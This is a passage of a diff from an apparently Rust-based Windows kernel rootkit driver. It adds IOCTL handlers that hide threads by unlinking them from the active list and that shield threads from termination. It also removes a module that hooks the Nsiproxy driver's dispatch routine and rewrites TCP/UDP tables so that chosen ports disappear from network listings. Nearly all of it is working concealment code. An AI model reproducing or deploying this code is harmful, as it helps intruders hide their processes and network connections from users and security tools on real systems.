|
error::ShadowError,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
crate::utils::{
|
||||||
|
get_input_buffer,
|
||||||
|
get_output_buffer,
|
||||||
|
ioctls::IoctlManager
|
||||||
|
},
|
||||||
|
common::{
|
||||||
|
enums::Options,
|
||||||
|
structs::TargetThread,
|
||||||
|
ioctls::{
|
||||||
|
ENUMERATION_THREAD,
|
||||||
|
HIDE_UNHIDE_THREAD,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Registers the IOCTL handlers for thread-related operations.
|
||||||
|
///
|
||||||
|
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||||
|
/// their respective IOCTL codes. The two operations supported are:
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `ioctls` - A mutable reference to a `HashMap<u32, IoctlHandler>` where the thread-related
|
||||||
|
/// IOCTL handlers will be inserted.
|
||||||
|
pub fn register_thread_ioctls(ioctls: &mut IoctlManager) {
|
||||||
|
// Hide the specified Thread by removing it from the list of active threads.
|
||||||
|
ioctls.register_handler(HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
// Retrieves the thread information from the input buffer.
|
||||||
|
let target_thread = get_input_buffer::<TargetThread>(stack)?;
|
||||||
|
let tid = (*target_thread).tid;
|
||||||
|
|
||||||
|
// Hide or unhide the thread based on the 'enable' flag.
|
||||||
|
let status = if (*target_thread).enable {
|
||||||
|
// Hides the thread and stores its previous state.
|
||||||
|
let previous_list = Thread::hide_thread(tid)?;
|
||||||
|
let mut process_info = THREAD_INFO_HIDE.lock();
|
||||||
|
let list_ptr = Box::into_raw(Box::new(previous_list));
|
||||||
|
|
||||||
|
process_info.push(TargetThread {
|
||||||
|
tid,
|
||||||
|
list_entry: AtomicPtr::new(list_ptr as *mut _),
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
// Unhides the thread.
|
||||||
|
let list_entry = THREAD_INFO_HIDE.lock()
|
||||||
|
.iter()
|
||||||
|
.find(|p| p.tid == tid)
|
||||||
|
.map(|thread| thread.list_entry.load(Ordering::SeqCst))
|
||||||
|
.ok_or(ShadowError::ThreadNotFound(tid))?;
|
||||||
|
|
||||||
|
Thread::unhide_thread(tid, list_entry as *mut _)?
|
||||||
|
};
|
||||||
|
|
||||||
|
// Updates the IoStatus and returns the result of the operation.
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetThread>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// List hidden or protected threads.
|
||||||
|
ioctls.register_handler(ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
// Retrieves the output buffer to store thread information.
|
||||||
|
let output_buffer = get_output_buffer::<TargetThread>(irp)?;
|
||||||
|
let input_target = get_input_buffer::<TargetThread>(stack)?;
|
||||||
|
|
||||||
|
// Based on the options, either enumerate hidden or protected threads.
|
||||||
|
let threads = match (*input_target).options {
|
||||||
|
Options::Hide => Thread::enumerate_hide_threads(),
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
Options::Protection => shadowx::ThreadCallback::enumerate_protection_thread(),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Fill the output buffer with the enumerated threads' information.
|
||||||
|
for (index, thread) in threads.iter().enumerate() {
|
||||||
|
let info_ptr = output_buffer.add(index);
|
||||||
|
(*info_ptr).tid = thread.tid;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Updates the IoStatus with the size of the enumerated threads.
|
||||||
|
(*irp).IoStatus.Information = (threads.len() * size_of::<TargetThread>()) as u64;
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// If the feature is a mapper, these functionalities will not be added.
|
||||||
|
#[cfg(not(feature = "mapper"))] {
|
||||||
|
// Responsible for adding thread termination protection.
|
||||||
|
ioctls.register_handler(common::ioctls::PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
// Retrieves the thread information from the input buffer.
|
||||||
|
let thread_protection = get_input_buffer::<TargetThread>(stack)?;
|
||||||
|
let tid = (*thread_protection).tid;
|
||||||
|
let enable = (*thread_protection).enable;
|
||||||
|
|
||||||
|
// Adds or removes protection for the thread based on the 'enable' flag.
|
||||||
|
let status = if enable {
|
||||||
|
shadowx::ThreadCallback::add_target_tid(tid)
|
||||||
|
} else {
|
||||||
|
shadowx::ThreadCallback::remove_target_tid(tid)
|
||||||
|
};
|
||||||
|
|
||||||
|
// Updates the IoStatus with the size of the thread information.
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetThread>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
use {
|
|
||||||
alloc::boxed::Box,
|
|
||||||
hashbrown::HashMap,
|
|
||||||
core::sync::atomic::Ordering,
|
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP, NT_SUCCESS},
|
|
||||||
shared::{ioctls::IOCTL_PORT, structs::PortInfo},
|
|
||||||
crate::{handle, utils::ioctls::IoctlHandler, Port},
|
|
||||||
super::{port::{add_remove_port_toggle, PROTECTED_PORTS}, HOOK_INSTALLED},
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Registers the IOCTL handlers for port-related operations.
|
|
||||||
///
|
|
||||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
|
||||||
/// their respective IOCTL codes. The two operations supported are:
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the port-related
|
|
||||||
/// IOCTL handlers will be inserted.
|
|
||||||
///
|
|
||||||
pub fn get_port_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
|
||||||
// Responsible for hide/unhide Port.
|
|
||||||
ioctls.insert(IOCTL_PORT, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let protected_ports = PROTECTED_PORTS.lock();
|
|
||||||
|
|
||||||
if protected_ports.is_empty() && !HOOK_INSTALLED.load(Ordering::Relaxed) {
|
|
||||||
unsafe { Port::install_hook() };
|
|
||||||
}
|
|
||||||
|
|
||||||
drop(protected_ports);
|
|
||||||
|
|
||||||
let status = unsafe { handle!(stack, add_remove_port_toggle, PortInfo) };
|
|
||||||
if NT_SUCCESS(status) {
|
|
||||||
let protected_ports = PROTECTED_PORTS.lock();
|
|
||||||
if protected_ports.is_empty() && HOOK_INSTALLED.load(Ordering::Relaxed) {
|
|
||||||
unsafe { Port::uninstall_hook() };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
|
||||||
|
|
||||||
status
|
|
||||||
}) as IoctlHandler);
|
|
||||||
}
|
|
||||||
@@ -1,410 +0,0 @@
|
|||||||
use {
|
|
||||||
shared::{
|
|
||||||
enums::{PortType, Protocol},
|
|
||||||
structs::PortInfo
|
|
||||||
},
|
|
||||||
wdk_sys::{
|
|
||||||
*,
|
|
||||||
_MODE::KernelMode,
|
|
||||||
ntddk::{ExFreePool, ObfDereferenceObject, ProbeForRead},
|
|
||||||
},
|
|
||||||
core::{
|
|
||||||
ptr::{null_mut, copy},
|
|
||||||
sync::atomic::{AtomicPtr, Ordering, AtomicBool},
|
|
||||||
ffi::c_void, mem::size_of, slice::from_raw_parts_mut,
|
|
||||||
},
|
|
||||||
crate::{
|
|
||||||
internals::{
|
|
||||||
enums::COMUNICATION_TYPE,
|
|
||||||
externs::{ObReferenceObjectByName, IoDriverObjectType},
|
|
||||||
structs::{
|
|
||||||
NSI_UDP_ENTRY, NSI_PARAM, NSI_TABLE_TCP_ENTRY,
|
|
||||||
NSI_STATUS_ENTRY, NSI_PROCESS_ENTRY
|
|
||||||
}
|
|
||||||
},
|
|
||||||
utils::{
|
|
||||||
pool::PoolMemory, uni::str_to_unicode,
|
|
||||||
valid_kernel_memory, valid_user_memory,
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
pub mod port;
|
|
||||||
pub mod ioctls;
|
|
||||||
|
|
||||||
/// Holds the original NSI dispatch function, used to store the original pointer before hooking.
|
|
||||||
static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut());
|
|
||||||
|
|
||||||
/// Indicates whether the callback has been activated.
|
|
||||||
pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false);
|
|
||||||
|
|
||||||
/// Represents a Port structure used for hooking into the NSI proxy driver and intercepting network information.
|
|
||||||
pub struct Port;
|
|
||||||
|
|
||||||
impl Port {
|
|
||||||
/// Control code for the NSI communication.
|
|
||||||
const NIS_CONTROL_CODE: u32 = 1179675;
|
|
||||||
|
|
||||||
/// Network driver name.
|
|
||||||
const NSI_PROXY: &str = "\\Driver\\Nsiproxy";
|
|
||||||
|
|
||||||
/// Installs a hook into the NSI proxy driver, replacing the original dispatch function.
|
|
||||||
///
|
|
||||||
/// This function hooks into the NSI proxy driver by replacing the `IRP_MJ_DEVICE_CONTROL`
|
|
||||||
/// dispatch function with `hook_nsi`. It stores the original dispatch function in a static
|
|
||||||
/// atomic pointer so that it can be called later.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Ok(())`: If the hook was installed successfully.
|
|
||||||
/// - `Err(NTSTATUS)`: If the function fails to reference the NSI proxy driver object or
|
|
||||||
/// if no original function is found in the `IRP_MJ_DEVICE_CONTROL` dispatch table.
|
|
||||||
///
|
|
||||||
pub unsafe fn install_hook() -> Result<(), NTSTATUS> {
|
|
||||||
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
|
|
||||||
let status = ObReferenceObjectByName(
|
|
||||||
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
|
|
||||||
OBJ_CASE_INSENSITIVE,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
*IoDriverObjectType,
|
|
||||||
KernelMode as i8,
|
|
||||||
null_mut(),
|
|
||||||
&mut driver_object as *mut _ as *mut *mut core::ffi::c_void
|
|
||||||
);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ObReferenceObjectByName Failed With Status: {:?}", status);
|
|
||||||
return Err(status)
|
|
||||||
}
|
|
||||||
|
|
||||||
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
|
|
||||||
if let Some(original_function) = major_function.take() {
|
|
||||||
let original_function_ptr = original_function as *mut ();
|
|
||||||
ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst);
|
|
||||||
|
|
||||||
*major_function = Some(Self::hook_nsi);
|
|
||||||
HOOK_INSTALLED.store(true, Ordering::SeqCst);
|
|
||||||
} else {
|
|
||||||
log::error!("No original function found in MajorFunction[IRP_MJ_DEVICE_CONTROL]");
|
|
||||||
ObfDereferenceObject(driver_object as _);
|
|
||||||
return Err(STATUS_UNSUCCESSFUL);
|
|
||||||
}
|
|
||||||
|
|
||||||
ObfDereferenceObject(driver_object as _);
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Uninstalls the NSI hook previously installed in the driver.
|
|
||||||
///
|
|
||||||
/// This function safely uninstalls the hook from the NSI proxy driver, which was originally
|
|
||||||
/// installed to intercept and modify network table entries. The function ensures that the
|
|
||||||
/// original dispatch function is restored and any remaining hooks or operations are cleaned
|
|
||||||
/// up before the driver is unloaded.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `STATUS_SUCCESS`: If the hook was successfully uninstalled.
|
|
||||||
/// - `STATUS_UNSUCCESSFUL`: If the hook was not installed or the uninstall operation failed.
|
|
||||||
///
|
|
||||||
pub unsafe fn uninstall_hook() -> NTSTATUS {
|
|
||||||
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
|
|
||||||
let status = ObReferenceObjectByName(
|
|
||||||
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
|
|
||||||
OBJ_CASE_INSENSITIVE,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
*IoDriverObjectType,
|
|
||||||
KernelMode as i8,
|
|
||||||
null_mut(),
|
|
||||||
&mut driver_object as *mut _ as *mut *mut core::ffi::c_void,
|
|
||||||
);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ObReferenceObjectByName Failed With Status: {:?}", status);
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
if HOOK_INSTALLED.load(Ordering::SeqCst) {
|
|
||||||
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
|
|
||||||
|
|
||||||
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
|
|
||||||
if !original_function_ptr.is_null() {
|
|
||||||
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
|
|
||||||
*major_function = original_function;
|
|
||||||
|
|
||||||
HOOK_INSTALLED.store(false, Ordering::SeqCst);
|
|
||||||
} else {
|
|
||||||
log::error!("Original NSI Dispatch function not found in ORIGINAL_NSI_DISPATCH");
|
|
||||||
ObfDereferenceObject(driver_object as _);
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
log::warn!("Hook is not installed, cannot uninstall.");
|
|
||||||
ObfDereferenceObject(driver_object as _);
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
|
||||||
|
|
||||||
ObfDereferenceObject(driver_object as _);
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries.
|
|
||||||
///
|
|
||||||
/// This function is called when an IRP (I/O Request Packet) is sent to the NSI proxy driver
|
|
||||||
/// and the control code matches `NIS_CONTROL_CODE`. It intercepts TCP and UDP entries,
|
|
||||||
/// allowing modification of network data, such as filtering specific ports.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `device_object`: A pointer to the device object.
|
|
||||||
/// - `irp`: A pointer to the IRP (I/O Request Packet).
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: The result of the original dispatch function or `STATUS_UNSUCCESSFUL` if the hook fails.
|
|
||||||
///
|
|
||||||
unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
|
||||||
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
|
||||||
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
|
||||||
|
|
||||||
if control_code == Self::NIS_CONTROL_CODE {
|
|
||||||
let context = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64, 0x444E4954);
|
|
||||||
match context {
|
|
||||||
Some(addr) => {
|
|
||||||
let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
|
|
||||||
(*address).0 = (*stack).CompletionRoutine;
|
|
||||||
(*address).1 = (*stack).Context;
|
|
||||||
|
|
||||||
(*stack).Context = address as *mut c_void;
|
|
||||||
(*stack).CompletionRoutine = Some(Self::irp_complete);
|
|
||||||
(*stack).Control |= SL_INVOKE_ON_SUCCESS as u8;
|
|
||||||
|
|
||||||
// Disabling Drop
|
|
||||||
core::mem::forget(addr);
|
|
||||||
},
|
|
||||||
None => {}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
|
|
||||||
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
|
|
||||||
|
|
||||||
return original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp));
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Completion routine for IRP that modifies network entries in the NSI tables.
|
|
||||||
///
|
|
||||||
/// This function is called after the original completion routine is invoked. It inspects the network
|
|
||||||
/// table entries (TCP or UDP) and can remove or modify entries based on certain conditions (e.g., port filtering).
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `device_object`: A pointer to the device object.
|
|
||||||
/// - `irp`: A pointer to the IRP (I/O Request Packet).
|
|
||||||
/// - `context`: A pointer to the context passed from the `hook_nsi` function.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: The result of the original completion routine or `STATUS_SUCCESS` if successful.
|
|
||||||
///
|
|
||||||
unsafe extern "C" fn irp_complete(device_object: *mut DEVICE_OBJECT, irp: *mut IRP, context: *mut c_void) -> NTSTATUS {
|
|
||||||
let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
|
|
||||||
|
|
||||||
if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) {
|
|
||||||
let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM;
|
|
||||||
let mut status_success = true;
|
|
||||||
|
|
||||||
if !valid_user_memory(nsi_param as u64) && !NetworkUtils::validate_context(nsi_param as _) {
|
|
||||||
status_success = false;
|
|
||||||
} else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() {
|
|
||||||
status_success = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
if status_success && !(*nsi_param).entries.is_null() && (*nsi_param).entry_size != 0 {
|
|
||||||
let tcp_entries = (*nsi_param).entries as *mut NSI_TABLE_TCP_ENTRY;
|
|
||||||
let udp_entries = (*nsi_param).entries as *mut NSI_UDP_ENTRY;
|
|
||||||
let entries = (*nsi_param).entries;
|
|
||||||
|
|
||||||
for i in 0..(*nsi_param).count {
|
|
||||||
match (*nsi_param).type_ {
|
|
||||||
COMUNICATION_TYPE::TCP => {
|
|
||||||
if valid_user_memory((*tcp_entries.add(i)).local.port as u64) || valid_user_memory((*tcp_entries.add(i)).remote.port as u64) {
|
|
||||||
let local_port = u16::from_be((*tcp_entries.add(i)).local.port);
|
|
||||||
let remote_port = u16::from_be((*tcp_entries.add(i)).remote.port);
|
|
||||||
NetworkUtils::process_entry_copy(
|
|
||||||
tcp_entries,
|
|
||||||
(*nsi_param).count as usize,
|
|
||||||
i,
|
|
||||||
local_port,
|
|
||||||
Some(remote_port),
|
|
||||||
Protocol::TCP,
|
|
||||||
(*nsi_param).status_entries,
|
|
||||||
(*nsi_param).process_entries,
|
|
||||||
nsi_param,
|
|
||||||
);
|
|
||||||
}
|
|
||||||
},
|
|
||||||
COMUNICATION_TYPE::UDP => {
|
|
||||||
if valid_user_memory((*udp_entries.add(i)).port as u64) {
|
|
||||||
let local_port = u16::from_be((*udp_entries.add(i)).port);
|
|
||||||
NetworkUtils::process_entry_copy(
|
|
||||||
udp_entries,
|
|
||||||
(*nsi_param).count as usize,
|
|
||||||
i,
|
|
||||||
local_port,
|
|
||||||
None,
|
|
||||||
Protocol::UDP,
|
|
||||||
(*nsi_param).status_entries,
|
|
||||||
(*nsi_param).process_entries,
|
|
||||||
nsi_param,
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if let Some(original_routine) = (*context_addr).0 {
|
|
||||||
let mut original_context = null_mut();
|
|
||||||
|
|
||||||
if !(*context_addr).1.is_null() {
|
|
||||||
original_context = (*context_addr).1;
|
|
||||||
}
|
|
||||||
|
|
||||||
ExFreePool(context as *mut _);
|
|
||||||
return original_routine(device_object, irp, original_context);
|
|
||||||
}
|
|
||||||
|
|
||||||
ExFreePool(context as *mut _);
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Utility struct for network-related operations, such as validating memory and handling NSI table entries.
|
|
||||||
pub struct NetworkUtils;
|
|
||||||
|
|
||||||
impl NetworkUtils {
|
|
||||||
/// Validates a memory address to ensure it can be safely accessed from kernel mode.
|
|
||||||
///
|
|
||||||
/// This function uses `ProbeForRead` to check whether a memory address is valid and accessible.
|
|
||||||
/// It wraps the operation in a Structured Exception Handling (SEH) block to catch and log any exceptions.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `address`: The memory address to validate.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `true`: If the address is valid and accessible.
|
|
||||||
/// - `false`: If an exception occurs while probing the address.
|
|
||||||
///
|
|
||||||
unsafe fn validate_context(address: *mut c_void) -> bool {
|
|
||||||
let result = microseh::try_seh(|| {
|
|
||||||
ProbeForRead(address, size_of::<NSI_PARAM>() as u64, size_of::<NSI_PARAM>() as u32);
|
|
||||||
});
|
|
||||||
|
|
||||||
match result {
|
|
||||||
Ok(_) => true,
|
|
||||||
Err(err) => {
|
|
||||||
log::error!("Exception when trying to read the address: {:?}", err.code());
|
|
||||||
false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Copies network table entries (TCP/UDP) from one index to another and updates associated status
|
|
||||||
/// and process entries if necessary.
|
|
||||||
///
|
|
||||||
/// This function is used to modify NSI (Network Store Interface) table entries during a network
|
|
||||||
/// hook operation. It copies TCP/UDP entries, status entries, and process entries, effectively
|
|
||||||
/// "hiding" specific network ports.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `entries`: A pointer to the list of TCP or UDP entries.
|
|
||||||
/// - `count`: The total number of entries in the table.
|
|
||||||
/// - `i`: The index of the current entry being processed.
|
|
||||||
/// - `port`: The port number associated with the current entry.
|
|
||||||
/// - `status_entries`: A pointer to the list of status entries associated with the network connections.
|
|
||||||
/// - `process_entries`: A pointer to the list of process entries associated with the network connections.
|
|
||||||
/// - `nsi_param`: A pointer to the `NSI_PARAM` structure, containing information about the network table.
|
|
||||||
///
|
|
||||||
unsafe fn process_entry_copy<T: Sized>(
|
|
||||||
entries: *mut T,
|
|
||||||
count: usize,
|
|
||||||
i: usize,
|
|
||||||
local_port: u16,
|
|
||||||
remote_port: Option<u16>,
|
|
||||||
protocol: Protocol,
|
|
||||||
status_entries: *mut NSI_STATUS_ENTRY,
|
|
||||||
process_entries: *mut NSI_PROCESS_ENTRY,
|
|
||||||
nsi_param: *mut NSI_PARAM
|
|
||||||
) {
|
|
||||||
let port_number = match (local_port, remote_port) {
|
|
||||||
// If the local port is zero and the remote port is Some(value)
|
|
||||||
(0, Some(remote)) if remote != 0 => remote,
|
|
||||||
// If the remote port is not defined or is also zero, use the local one
|
|
||||||
(local, _) if local != 0 => local,
|
|
||||||
// If both are zero, this can be treated as an invalid condition
|
|
||||||
_ => {
|
|
||||||
log::warn!("Both doors are zero, there is no way to process the entrance.");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let port_type = if remote_port.unwrap_or(0) != 0 {
|
|
||||||
PortType::REMOTE
|
|
||||||
} else {
|
|
||||||
PortType::LOCAL
|
|
||||||
};
|
|
||||||
|
|
||||||
let info = PortInfo {
|
|
||||||
protocol,
|
|
||||||
port_type,
|
|
||||||
port_number,
|
|
||||||
enable: true,
|
|
||||||
};
|
|
||||||
|
|
||||||
if port::check_port(info) {
|
|
||||||
let mut entries_index = i + 1;
|
|
||||||
if entries_index >= count {
|
|
||||||
entries_index = i - 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Copies TCP/UDP entries.
|
|
||||||
let entries_slice = from_raw_parts_mut(entries, count);
|
|
||||||
copy(
|
|
||||||
&entries_slice[entries_index],
|
|
||||||
&mut entries_slice[i],
|
|
||||||
count - entries_index,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Verify and copy status_entries.
|
|
||||||
if !status_entries.is_null() {
|
|
||||||
let status_entries_slice = from_raw_parts_mut(status_entries, count);
|
|
||||||
if entries_index < status_entries_slice.len() {
|
|
||||||
copy(
|
|
||||||
&status_entries_slice[entries_index],
|
|
||||||
&mut status_entries_slice[i],
|
|
||||||
count - entries_index,
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check and copy process_entries.
|
|
||||||
if !process_entries.is_null() {
|
|
||||||
let process_entries_slice = from_raw_parts_mut(process_entries, count);
|
|
||||||
if entries_index < process_entries_slice.len() {
|
|
||||||
copy(
|
|
||||||
&process_entries_slice[entries_index],
|
|
||||||
&mut process_entries_slice[i],
|
|
||||||
count - entries_index,
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,101 +0,0 @@
|
|||||||
use alloc::vec::Vec;
|
|
||||||
use spin::{Mutex, lazy::Lazy};
|
|
||||||
use shared::{
|
|
||||||
vars::MAX_PORT,
|
|
||||||
structs::PortInfo
|
|
||||||
};
|
|
||||||
use wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL};
|
|
||||||
|
|
||||||
/// List of protected ports, synchronized with a mutex.
|
|
||||||
pub static PROTECTED_PORTS: Lazy<Mutex<Vec<PortInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PORT)));
|
|
||||||
|
|
||||||
/// Method to toggle the addition or removal of a port from the list of protected ports.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `port`: `PortInfo` structure with information about the port to be added or removed.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
|
||||||
///
|
|
||||||
pub fn add_remove_port_toggle(port: *mut PortInfo) -> NTSTATUS {
|
|
||||||
if (unsafe { *port }).enable {
|
|
||||||
add_target_port(port)
|
|
||||||
} else {
|
|
||||||
remove_target_port(port)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Method to add a port to the list of protected ports.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `port`: `PortInfo` structure with information about the port to be protected.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
|
||||||
///
|
|
||||||
fn add_target_port(port: *mut PortInfo) -> NTSTATUS {
|
|
||||||
let mut ports = PROTECTED_PORTS.lock();
|
|
||||||
let port = unsafe { *port };
|
|
||||||
|
|
||||||
if ports.len() >= MAX_PORT {
|
|
||||||
log::error!("Port list is full");
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ports.contains(&port) {
|
|
||||||
log::warn!("Port {:?} already exists in the list", port);
|
|
||||||
return STATUS_DUPLICATE_OBJECTID;
|
|
||||||
}
|
|
||||||
|
|
||||||
ports.push(port);
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Method to remove a port from the list of protected ports.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `port`: `PortInfo` structure with information about the port to be removed.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
|
||||||
///
|
|
||||||
fn remove_target_port(port: *mut PortInfo) -> NTSTATUS {
|
|
||||||
let mut ports = PROTECTED_PORTS.lock();
|
|
||||||
(unsafe { *port }).enable = true;
|
|
||||||
|
|
||||||
if let Some(index) = ports.iter().position(|&p| {
|
|
||||||
p.protocol == (unsafe { *port }).protocol
|
|
||||||
&& p.port_type == (unsafe { *port }).port_type
|
|
||||||
&& p.port_number == (unsafe { *port }).port_number
|
|
||||||
}) {
|
|
||||||
ports.remove(index);
|
|
||||||
STATUS_SUCCESS
|
|
||||||
} else {
|
|
||||||
log::error!("Port {:?} not found in the list", port);
|
|
||||||
STATUS_UNSUCCESSFUL
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Checks if a port is in the list of protected ports.
|
|
||||||
///
|
|
||||||
/// This function locks access to the `PROTECTED_PORTS` list and verifies
|
|
||||||
/// if the given `port` is contained within it.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `port` - A `PortInfo` struct that represents the port to be checked.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `bool`: `true` if the `port` is in the protected list, otherwise returns `false`.
|
|
||||||
///
|
|
||||||
pub fn check_port(port: PortInfo) -> bool {
|
|
||||||
PROTECTED_PORTS.lock().contains(&port)
|
|
||||||
}
|
|
||||||
@@ -1,150 +0,0 @@
|
|||||||
#![cfg(not(feature = "mapper"))]
|
|
||||||
|
|
||||||
use {
|
|
||||||
alloc::vec::Vec,
|
|
||||||
core::ffi::c_void,
|
|
||||||
spin::{Mutex, lazy::Lazy},
|
|
||||||
shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PID},
|
|
||||||
winapi::um::winnt::{
|
|
